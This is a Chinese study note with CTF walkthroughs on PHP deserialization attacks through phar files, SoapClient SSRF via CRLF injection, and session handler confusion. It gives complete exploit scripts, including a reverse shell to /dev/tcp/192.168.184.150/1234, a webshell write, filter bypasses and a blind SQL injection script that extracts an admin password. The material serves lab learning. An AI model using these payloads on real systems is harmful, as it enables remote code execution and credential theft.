php其他反序列化知识学习

简单总结一下最近学习的,php其他的一些反序列化知识

  • phar

  • soap

  • session

  • 其他

    • __wakeup绕过
    • gc绕过异常
    • 非公有属性,类名大小写不敏感
    • 正则匹配,十六进制绕过关键字检测
    • 原生类的利用

phar

基础知识

在 之前学习的反序列化利用中,都要用到unserlize这个反序列化方法,然后构造pop链子,但是通过读取phar文件,即使不使用unserlize,也可以触发反序列化操作

phar文件是php特有的一种归档(压缩)文件,可以把多个文件归档为1个文件,提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中,php可以通过phar://伪协议在不过分解压的情况下,访问phar文件,并执行其中的php程序

phar文件的基本结构如下

  1. stub:phar文件标志
    phar文件在文件开头有一个特殊的标志,如aaa<?php bbb; __HALT_COMPILER();?>aaa,bbb可以是任意内容,但是<?php __HALT_COMPILER();?>必须 存在,就是一定有<?php 、 <?=<script language="php">这种php标签对,标签对中含有 __HALT_COMPILER();
  2. manifest
    存储着每个被压缩文件的权限,属性等信息,这部分还会以序列化的形式存储用户自定义的meta-data,特定函数读取时会反序列化,这是phar反序列化利用中最核心的地方
  3. file contents
    被压缩文件的内容
  4. signature
    phar文件的签名,用于验证phar文件的完整性和真实性

我们可以先写个小程序,看看生成的phar文件具体结构(要将php.ini中的phar.readonly选项设置为Off,否则会报错,无法生成phar文件)

<?php
class myObject
{
    public $name = 'helloworld';
}
// 用php的内置类Phar,创建一个名为 phar.phar 的 PHAR文件对象,并赋值给变量 $phar
$phar = new Phar("phar.phar");
// 开始 PHAR 文件的缓冲区,用于批量操作,避免频繁写入磁盘
$phar->startBuffering();
// 设置 PHAR 文件的 Stub,即 PHAR 文件的启动代码,用于启动 PHAR 中的脚本
$phar->setStub("<?php __HALT_COMPILER();?>");
$info = new myObject();
// 设置 PHAR 文件的可自定义的元数据
$phar->setMetadata($info);
// 向 PHAR 文件中添加一个名为 a.txt 的文件,并将内容设置为 'a'
$phar->addFromString("a.txt", "a");
// 停止 PHAR 文件的缓冲区,将缓冲区中的操作写入到 PHAR 文件中
$phar->stopBuffering();
?>

用xxd工具(Linux 下的十六进制编辑工具)查看一下生成的phar文件

在这里插入图片描述

可以看到phar文件里,有文件头,还有自定义的被序列化的,我们传入的一个对象

利用条件

如果一些文件操作函数通过phar://伪协议读取phar文件时,就会将meta-data反序列化,相关函数如下

copy, file_exists, file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,fileinode, filemtime, fileowner, fileperms, fopen, is_dir, is_executable,is_file, is_link.is_readable,is_writable,,parse_ini_file,readfile,stat,unlink,exif _thumbnail,exif_imagetype, imageloadfont, imagecreatefrom, hash_hmac_file, hash_ile, hash_update_filemd5_file, sha1_file, get meta_tags, get_header,getimagesize, getimagesizefromstring ,extractTo_is_wirtble、info_file

利用条件如下:

  1. phar可以上传到服务器端(存在文件上传)
  2. 要有可用的魔术方法作为“跳板”。利用之前学习的魔术方法构造pop链
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

实验测试

使用网上大佬的程序来测试,

upload.html

<html>
<body>
<form action="http://192.168.184.200/pharsnap/upload_files.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>
</html>

upload_files.php

<?php
if (isset($_FILES["file"])) {
    echo "Upload: " . $_FILES["file"]["name"]."<br/>";
    echo "Type: " . $_FILES["file"]["type"]."<br/>";
    echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br/>";

    if (file_exists("upload/" . $_FILES["file"]["name"])) {
        echo $_FILES["file"]["name"] . " already exists. ";
    } else {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" .$_FILES["file"]["name"]);
        echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
    }
} else {
    echo "No file uploaded.";
}
?>

read.php

<?php
$filename=@$_GET['filename'];
echo 'please give me a filename by get'.'<br />';
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        system($this -> output);
    }
}
    if(file_exists($filename)){
        $a = new AnyClass();
    }
    else{
        echo 'file is not exists';
    }
?>

重点在read.php,使用了 file_exists 函数,它在受影响函数之中,在用phar协议读取文件时会反序列化其中数据,

利用思路:

read.php的AnyClass类中的__destruct魔术方法中,有eval这个可以执行系统命令的方法,是可以利用的,而且存在file_exists这个可以触发的函数,所在在file_exists中用phar://伪协议读取我们上传的phar文件,就会反序列化其中的数据,我们在自己的phar中设置$output为系统命令即可

exp:

<?php

class AnyClass
{
    public $output="('ls /');";
}

$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$info=new AnyClass();
$phar->setMetadata($info);
$phar->addFromString("a.txt","a");
$phar->stopBuffering();
?>

payload:

?filename=phar://upload/phar.phar/a.txt  

结果

在这里插入图片描述

命令执行成功,总的来说就两点:

  1. 找会触发反序列化的方法和文件上传或写入的点
  2. 构造pop链执行rce

相关绕过

在实验代码中加一个file_get_contents,这个函数触发反序列化相对更容易,容易测试

phar不能在开头

数据压缩绕过(要安装对应的拓展)

compress.bzip2://phar://phar.phar/a.txt  
compress.zlib://phar://phar.phar/a.txt

放其他伪协议在开头绕过

php://filter/resource=phar://phar.phar/a.txt

__HALT_COMPILER特征检测

1.压缩绕过,gzip或zip

如果对phar的特征:__HALT_COMPILER进行了过滤,可以使用gzip对phar文件再压缩一次,这时__HALT_COMPILER就没有了

!在这里插入图片描述

直接phar读取或者配合文件包含,也是可以触发反序列化的

?filename=phar://upload/phar.phar.gz/a.txt   #gz要访问gz中的phar中设置的a.txt
?filename=phar://upload/phar.zip/phar.phar   #zip只要访问zip中的phar即可,名字随意,后缀要phar

在这里插入图片描述

2.zip压缩,把序列化内容写入zip的注释,那为什么不直接压缩为zip,传上去然后访问嘛,为什么还要多此一举?

因为通常文件上传中只能上传图片,本地测试发现,gzip压缩后的文件.gz,改后缀为png,再去访问,仍然可以反序列化执行命令

但是zip文件.zip,转为png后,中间序列化的内容有丢失,再去访问会执行命令失败

原来的phar内容:

在这里插入图片描述

中间的命令尝试写入一句话,压缩为zip,再转为png,尝试访问

在这里插入图片描述

在这里插入图片描述

结果发现一句话的内容消失了,写入失败,但是如果把序列化内容写入zip中的注释,转为png不会消失,php处理代码如下

$phar_file = serialize($info);
$zip = new ZipArchive();
$res = $zip->open('1.zip', ZipArchive::CREATE);
$zip->addFromString('a', 'hellowrold');//设置zip要压缩的文件名和内容
$zip->setArchiveComment($phar_file); // 设置了 ZIP 文件的注释为序列化后的内容
$zip->close();
rename("1.zip","1.png");

在这里插入图片描述

在这里插入图片描述

一句话写入成功

文件头检测

如果通过检测文件头来检测是否是图片,可以在设置stub时增加GIF89a(gif图片文件头)绕过,如

$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");

如果过滤问号,可以<script language="php">绕过,如

$phar->setStub("GIF89a"."<script language='php'> __HALT_COMPILER();</script>");

题目实战

SWPU2018 SimplePHP

buu在维护,题目做不了,不过给了一个大佬写的yaml文件,于是起个docker

在这里插入图片描述

可以看到有查看文件和上传文件两个页面,看看页面源码

在这里插入图片描述

可以看到查看文件的文件名通过file传递,感觉可以通过查看题目源码,在这里插入图片描述

果然可以,想直接file=f1ag.php,提示文件不存在,被ban了

那就把其他的php文件代码都看看

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

function.php 处理上传的文件

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

file.php 展示文件

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

还有class.php,一起看看

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

base.php基本纯html,就不展示了

源码中直接提示就是考phar反序列化,触发点应该在file_exist函数,没看到有可以执行系统命令的地方,但是test类中有file_get_contents,利用这个函数读取flag.php

开始构造pop链(如何构造及其原理之前的笔记学习过了,这里不在赘述)一样的,反向思考如何构造:

1.最终利用的是Test类中的file_get->file_get_contents获取flag,这个方法在get方法中调用,传给file_get的value由数组params中有没有$key这个健决定

2.get方法在__get方法调用,__get在访问类中不存在的变量时调用,访问的变量名会被作为字符串传入该方法中

3.Show类的toString方法中$content = $this->str['str']->source;,如果$this->str['str']赋值为Test实例,就是访问了Test类中不存在的对象,触发__get, ‘source’传入该方法,如果把Test类中的params数组中,设置一个同名健source,值为’/var/www/html/f1ag.php’,就能成功访问

4.C1e4r的__destruct__->echo $this->test;,把test设置为Show实例,触发Show类的toStting

exp如下:

<?php
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
//pop链
$a=new C1e4r();
$b=new Show();
$c=new Test();
$a->str=$b;  //触发show的toString
$a->str->str['str']=$c;  //访问test类的不存在属性,触发__get
$c->params['source']="/var/www/html/f1ag.php";
//生成phar文件
$phar=new Phar("1.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString("a.txt","a");
$phar->stopBuffering();
rename("1.phar","1.png");
?>

直接访问/upload,得到文件名

在这里插入图片描述

在file.php,使用phar协议访问即可

在这里插入图片描述

解码后发现啥也没有,进入docker的shell发现原本就是这样

newstar2023 pharone

今天发现可以做题了,直接启动

在这里插入图片描述

有一个上传页,源码提示有class.php,代码如下:

<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']);

有unlink方法,很明显就是phar反序列化,exec执行系统命令是没有直接的回显的,所以要写个webshell进去

主页上传发现,只能上传图片,上传成功,会回显文件名路径

在这里插入图片描述

直接生成phar,转png,试试

上传结果发现

在这里插入图片描述

过滤了__HALT_COMPILER这个文件特征,把序列化内容写入zip注释吧,

完整的exp:

<?php
class Flag
{
    public $cmd="echo '<?=@eval(\$_POST[cmd]);' > /var/www/html/shell.php";
}
$info=new Flag();
$phar_file = serialize($info);
$zip = new ZipArchive();
$res = $zip->open('1.zip', ZipArchive::CREATE);
$zip->addFromString('a', 'hellowrold');//设置zip要压缩的文件内容
$zip->setArchiveComment($phar_file); // 这一行设置了 ZIP 文件的注释为序列化后的内容
$zip->close();
rename("1.zip","1.png");
?>

在这里插入图片描述

上传成功,直接在class.php传入

file=phar://upload/4a47a0db6e60853dedfcfdf08a5ca249.png/phar.phar

然后蚁剑连接shell.php ,查看flag

在这里插入图片描述

成功

soap

基础知识

SOAP(Simple Object Access Protocol)是一种用于在网络上交换结构化信息的协议。它通常用于实现分布式系统中的远程过程调用(调用服务器上的方法),允许不同的计算机在网络上进行通信并交换数据。其特点有但不限于:

基于 XML:SOAP 使用 XML 格式来封装和传输数据。这使得它能够支持复杂的数据结构和对象,并且与不同的编程语言和平台兼容。

支持多种传输协议:SOAP 可以使用多种传输协议来进行数据传输,其中最常用的是 HTTP 和 HTTPS。但 SOAP 也可以基于其他协议如 SMTP、JMS 等进行传输。

正常的一次soap请求demo如下:

<?php
// 创建 SoapClient 对象
$client = new SoapClient(null, array(
    'location' => 'http://192.168.184.150:1234', #location->请求的地址
    'uri' => 'goodgoodstudydaydayup'    //命名标识符,唯一标识服务端的应用程序或服务。
));

// 设置要调用的 SOAP 方法,服务端要有定义和实现,才能获取到数据
$method = 'getWeather';

// 使用 __soapCall() 方法发送 SOAP 请求
try {
    $response = $client->__soapCall($method, array());
    // 处理响应
    echo "Response: " . $response;
} catch (SoapFault $e) {
    // 处理 SOAP 错误
    echo "SOAP Error: " . $e->getMessage();
}
?>

服务端收到的http请求包

在这里插入图片描述

由于服务端并没有定义getWeather方法,所以这次soap请求拿不到相关数据,

利用方法

触发__call

正常的soap请求是调用SoapClient对象的__soapCall实现的,但是如果调用了该对象中不存在的方法,会触发__call魔术方法,这个方法也会发送soap请求,

如:

<?php
$a = new SoapClient(null,array('location'=>'http://192.168.184.150:1234', 'uri'=>'goodgoodstudydaydayup'));
$a->a();    // 调用SoapClient实例对象中不存在的方法, 触发__call方法,发送请求
?>

在这里插入图片描述

所以soap的反序列化不需要构造pop链,只要有反序列化的过程和调用不存在的方法即可,但是只是发送一个拿不到数据的请求没有意思,我们可以通过CRLF注入,构造出我们想要的数据包,发送到服务端,让服务端带着这个数据包去发送请求(ssrf),拿到我们想要的数据

CRLF注入

需要先了解一下http协议数据包的结构:

https://www.cnblogs.com/huansky/p/14007810.html

不论是请求报文还是响应报文,各行数据通过回车换行符分割,这个回车换行符就是\r\n,url编码后是%0d%0a,即为CRLF,头部和数据正文之间隔了两个CRLF

如果用户输入会出现在,服务端http响应的header中,CRLF注入就可以控制响应头中出现我们设置的内容,如

在这里插入图片描述

用户的输入会出现在location中,如果输入变为

http://192.168.184.200/locat.php?url=http://www.baidu.com%0d%0aSet-Cookie:token%3D123456

这个输入中注入了一个CRLF,本来这整个值都应出现在Location的值中,但服务器在读取完 Location:http://www.baidu.com后,读取到了一个CRLF,会认为这个键值对已经结束,就会准备开始读取下一个头部中键值对,而Set-Cookie:token%3D123456,url解码后,是可以被正常读取的键值对,这样一来就会在请求头中设置了我们自己的cookie

现在通过 Location 字段的 302 跳转进行 CRLF 注入这个漏洞已经被修复了,但是了解了原理之后,我们可以通过CRLF配合soap,启动ssrf

例如在user-agent注入CRLF,

<?php
$a = new SoapClient(null,array('location'=>'http://192.168.184.150:1234','user_agent'=>"soap\r\nSet-Cookie:token=helloworld" ,'uri'=>'goodgoodstudydaydayup'));
$a->a();    // 调用SoapClient实例对象中不存在的方法, 触发__call方法,发送请求
?>

在这里,我在user-agent后面注入了一个CRLF,然后设置Set-Cookie:token=helloworld,结果

在这里插入图片描述

服务端接受到数据包中,头部出现了Set-Cookie键值对,注入一个crlf就能修改或增加一个键值对,可以看到,soap的http请求是POST方法,要实现ssrf,我们要通过注入多个CRLF,修改Conent-Type,content-Length,还要插入我们自己的数据代替原来的xml数据,使这个post请求变成我们想要的

<?php
$target = 'http://192.168.184.150:1234';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

在这里插入图片描述

$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));

exp这一句,每注入一个CRLF,就修改一个键值对,请求头和请求数据要插入2个CRLF,我们就可以通过这样构造的post请求,进行ssrf

实验学习

test.php

<?php
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       eval($_POST['cmd']);
   }
else{
    echo "not localhost";
}
$a=unserialize($_GET['a']);
$a->play();
?>

可以看到,程序中有反序列化操作,并且调用了play这个未定义方法,,要求REMOTE_ADDR为127.0.0.1,才能执行命令,所以我们可以传入自己构造的序列化后的soap对象,反序列化后触发__call方法,进行ssrf, exp如下

<?php
$poc = "cmd=".urlencode('system("bash -c \'bash -i >& /dev/tcp/192.168.184.150/1234 0>&1\'");?>');
$a = new SoapClient(null,array('uri'=>"aaaa", 'location'=>'http://127.0.0.1/test.php',"user_agent"=>"helloworld\r\nContent-Length: ".strlen($poc)."\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n".$poc,"keep_alive"=>false));
$b = serialize($a);
echo urlencode($b);

在这里插入图片描述

shell反弹成功,总结利用条件:

1.程序中有反序列化操作

2.支持soap服务,调用了未定义方法

题目实战

easy_harder_php

综合性很强的题,搞了好久,最后还没做出来

在这里插入图片描述

题目首页url参数有action=login,感觉可以任意文件读取,尝试

在这里插入图片描述

果然有,那就需要知道其他php文件名,然后读取,dirsearch扫一下,

在这里插入图片描述

发现config.php,后加~可以读取,然后顺藤摸瓜发现了三个php文件的源代码,cofig,index,user

代码都很长,就不粘贴过来了

思路

没做出来,看了wp还是没法复现,简单记录一下思路吧

看了代码后,在user.php->publish发现admin登录后才有文件上传的功能,

在这里插入图片描述

但是在user.php->login中,admin登录不仅要密码正确,还要本地登录,感觉要ssrf,于是寻找可能的ssrf触发点

在这里插入图片描述

寻找了一圈没啥收获,但是在user.php->showmess中发现了没有pop链的反序列化,而且,下面调用了getcountry未定义方法,想到用soap来ssrf

在这里插入图片描述

不知道从哪里可以拿到admin的密码,但是发现操作数据库的sql中都是直接拼接的,感觉可以sql注入,注册和登录都不行,要输入MD5的验证码

登录后的insert中有

在这里插入图片描述

在这里插入图片描述

插入的语句没有什么验证,插入一个a,后面再跟上的我们的时间注入payload即可,表名字段,存储密码长度都能从源码中得知,exp如下:

import requests
import time
from datetime import datetime
url_target='http://c4790c8b-ff2c-4d42-b109-c99e764602fb.node5.buuoj.cn:81/index.php?action=publish'
cookie={'PHPSESSID':'4p269bclqkqpic4v928so6goh3'}
data={
    'signature':'',
    'mood':'0'
}
passwd=''
for i in range(1,33):
    time.sleep(0.5)
    for k in range(33,127):
        sql=f'a`,if(ord(substr((select password from ctf_users where username=`admin`),{i},1))={k},sleep(2),null))#'
        data['signature']=sql
        start = datetime.now()
        res=requests.post(url=url_target,data=data,cookies=cookie,timeout=3)
        end = datetime.now()
        sec = (end - start).seconds
        if sec >= 2:
                passwd+=chr(k)
                print(passwd)

结果

在这里插入图片描述

拿去md5碰撞网站试试,得到为nu1ladmin

用脚本生成soap序列化字符串,在这里要用两个浏览器,一个停留在登录页面,把要用的验证码和cookie中的PHPSESSID,保留下来,放入soap请求包,另一个浏览器用普通用户登录,pubilsh插入我们构造的soap序列化数据,exp:

<?php
$target = 'http://c360d287-8204-45d0-8d8d-7180e8bfd8c8.node5.buuoj.cn:81//index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=IWAPX5COOXSFNBuuWbP4';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=s3r1gfsk5288rntocmg8fhdlg3'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$a = str_replace('&','&',$a);
echo $a;
?>

然后把序列化字符串转为十六进制,点击publish,执行插入语句

在这里插入图片描述

网上的wp都是插入后,再刷新就是admin,但我总是失败,不知道为啥,最后试了一下直接包含根目录下的flag,还真有

在这里插入图片描述

不知道是不是验证码没处理好,导致无法admin,验证码是MD5碰撞求得,分享一下大佬写的脚本

import multiprocessing
import hashlib
import random
import string
import sys

# 定义字符集,包括大小写字母和数字
CHARS = string.ascii_letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    """比较MD5哈希值的函数"""
    global CHARS
    while not stop_event.is_set():
        # 生成随机字符串
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        # 计算MD5哈希值
        md5 = hashlib.md5(rnds.encode('utf8'))
        value = md5.hexdigest()
        # 检查哈希值是否满足条件并输出
        if value[start: start + str_len] == substr:
            print(rnds)
            print(value)
            # 设置停止事件,停止其他进程
            stop_event.set()


if __name__ == '__main__':
    # 从命令行参数获取目标MD5哈希值的起始子字符串和搜索起始位置
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    # 获取计算机CPU核心数
    cpus = multiprocessing.cpu_count()
    # 创建一个事件对象来协调进程之间的停止
    stop_event = multiprocessing.Event()
    # 创建多个进程,每个进程运行cmp_md5函数以搜索满足条件的字符串
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos))
                 for i in range(cpus)]
    # 启动所有进程
    for p in processes:
        p.start()
    # 等待所有进程完成
    for p in processes:
        p.join()

session

基础知识

SESSION的一些知识在学习会话文件包含时学习过,现在学习一下SESSION在反序列化中的利用点的一些基础知识

php有三种session的处理器(php,php_serialize,php_binary ,默认为php),用于把session会话信息存储到文件中,各自都有不同的session存储和使用的机制,但存到文件里的都是类似序列化的数据,不同的处理有一些差别,如下面的demo

<?php
ini_set("session.serialize_handler", "php_serialize");
highlight_file(__FILE__);
session_start();
$_SESSION['name']=$_GET['name'];
?>

传入name=helloworld,三种处理器存储的数据如下

处理器数据
php`name
php_serializea:1:{s:4:"name";s:10:"helloworld";}
php_binarynames:10:"helloworld";

如果多传一个sex属性,存到SESSION数组中存储如下

在这里插入图片描述

可以看到,php处理器存储就是键名|序列化数据,php_serialize就是a:键值对个数:{序列化数据},php_binary就是键名后直接跟序列化数据

利用条件:

1.两个不同的php文件,使用了不同的会话文件处理器,序列化存储文件时用php_serialize,但默认是php,可能要通过别的方式修改,反序列化会话文件是php

在这里插入图片描述

2.调用了session_start()或php.ini中session.auto_start=1,调用了session_start(),如果之前已经存在会话,就会去反序列化session文件

利用方法:

就是利用这两个处理器不同的处理机制(对于|的处理不同),在上面学习过他们的存储方式,php存储时会用|分割键值,但php_serialize存储时就没有,

也就是说,php_serialize反序列化会把|当作普通字符串,如果是php,遇到|,就会反序列化后面内容,把|前面的当作键值,如果我们能控制输入$_SESSION数组的变量,控制为|(对象序列化字符串),php_serialize会当作普通字符串存储,但php反序列化读取时,就会成功反序列化对象序列化字符串,生成我们想要的对象,

在文件包含时了解过,如果不主动往session数组中传数据,默认session文件是没有内容的,所以SESSION反序列化也分$_SESSION变量可控和不可控

实验学习

$_SESSION变量可控

除了上面的demo,再加一个class.php

<?php
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
class Man
{
  public $name;
  function __destruct()

  {
        system($this->name);
  }
}
session_start();
var_dump($_SESSION);
?>

$_SESSION变量可控,就是我们可以往$_SESSION数组传入数据

可以看看这篇大佬的文章,https://blog.csdn.net/weixin_57567655/article/details/121899648,讲的通俗易懂

例如:在这个实验中,先生成我们的Man序列化字符串

<?php
class Man
{
	public $name='ls /';
}
echo serialize(new Man());
?>

在得到到结果前加上|,变为|O:3:"Man":1:{s:4:"name";s:4:"ls /";}

传入给name,查看session文件,

在这里插入图片描述

查看class.php,在这里插入图片描述

$_SESSION变量不可控

利用uoload_progress,手动构建文件上传,具体原理在学习文件包含时了解了,这里简单复习一下

在文件上传的同时,post传一个字段,PHP_SESSION_UPLOAD_PROGRESS,值任意,php这时就会自动创建会话,并往$_SESSION数组中写入数据(关于文件上传的进度),我们传的PHP_SESSION_UPLOAD_PROGRESS的值会和upload_progress拼接在一起,作为session文件中的一个健

条件:

session.upload_progress.enabled=On,默认情况下就是On
默认情况下,session.upload_progress.clean=On,文件上传结束后就会清除session中的相关数据,这时就要条件竞争(之前学习文件包含的文章中已经测试过),这里改为off,方便测试

手动构建文件上传,在原来的前端页面下,打开F12,选中body元素,选择以html格式修改,就可以手动添加一个文件上传的表单

在这里插入图片描述

在可以构造pop链的php文件,构造上传表单:

form action="sess.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> 
 <input type="file" name="file1" />
 <input type="submit" />
</form>

随便上传一个文件,在bp中修改filename

"|O:3:\"Man\":1:{s:4:\"name\";s:4:\"ls /\";}"

在这里插入图片描述

记得转义序列化数据中的双引号,或者filename的内容,用单引号包裹

!在这里插入图片描述

反序列化成功,命令成功执行

题目实战

bestphp’s revenge

题目源码

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);+++++++
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

乍一看,看不出什么,扫描一下,发现flag.php

<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1") {
    $_SESSION['flag'] = $flag;
}
?>

发现要求本地访问,然后就会往session中写入flag,想到要用ssrf,首页源码中有call_user_func函数,它会把传入的第一个参数当作回调函数,后面的参数当作传入该函数的变量,然后执行该函数,感觉有可能让welcome_to_the_lctf2018作为一个未定义方法,让soap对象调用,就可以ssrf访问flag.php了,不知道该如何操作,上网查阅资料后才理清了利用思路

在第二个call_user_func中,如果把$b再设置为call_user_func,那么传给它的就是一个数组$a,它有两个元素,第一个reset($_SESSION)(也就是$_GET['name']),第二个是welcome_to_the_lctf2018,传给call_user_func如果只有一个数组,那么就会把数组第一个值当作回调函数,后面的值当作该方法的参数,所以$_GET['name']是方法名,welcome_to_the_lctf2018是方法,相当于$_GET['name']->welcome_to_the_lctf2018如果$_GET['name']是我们传入的soapclient对象,就可以触发ssrf,传入soap对象序列化数据,session_start()就可以反序列化来还原

但b似乎是写死的implode,可以修改吗?其实是可以的,只要把$_GET['f']设为extract,利用这个函数的来变量覆盖修改b,原理如下:

PHP extract() 函数用于将数组中的键作为变量名,将对应的值作为变量值导入到当前程序的符号表中
在PHP中,符号表(Symbol Table)是一个内部数据结构,用于跟踪当前脚本中定义的变量和它们的值。在PHP脚本执行期间,符号表记录了所有已经声明的变量及其对应的值,并且可以动态地添加、修改和删除这些变量。
extract()导入变量名和值时,如果原来已经存在相同的变量名,那么旧的值会被数组中同名的健对应的值替换掉

举个例子:

<?php
// 用户通过表单提交了一些数据,例如:
$hobby='play';
// 为了方便,直接使用 extract() 函数将 $_GET 数据导入到当前符号表中,以便后续使用
extract($_GET);
echo "用户: ".$name." 性别: ".$sex."<br>";
echo "your hobby is $hooby";
?>

可以看到,本来hobby的值为play,可以是我们通过get方式传入一个同名变量,使值为study,play就会被study覆盖,如:

在这里插入图片描述

所以在那道题中,要发送两次请求,第一次给name赋值soap序列化数据写入session数组,同时利用call_user_func($_GET['f'], $_POST);,f赋值为session_start(), post 传 serialize_handler=php_serialize ,修改session文件序列化处理器

!在这里插入图片描述

成功写入到session文件中,

生成soap序列化数据的exp:

<?php
$target = 'http://127.0.0.1/flag.php';
$post_data = '';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=123456'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'helloworld^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo "|".urlencode($b);

手动在数据包中,添加发送序列化数据后,响应包中给的cookie,然后正常访问,让程序默认的php处理器,反序列化session文件,发现成功还原SoapClient对象

在这里插入图片描述

这一次,get给f传extract,post传b=call_user_func,让程序还原了soapcilent对象后,发送soap请求

在这里插入图片描述

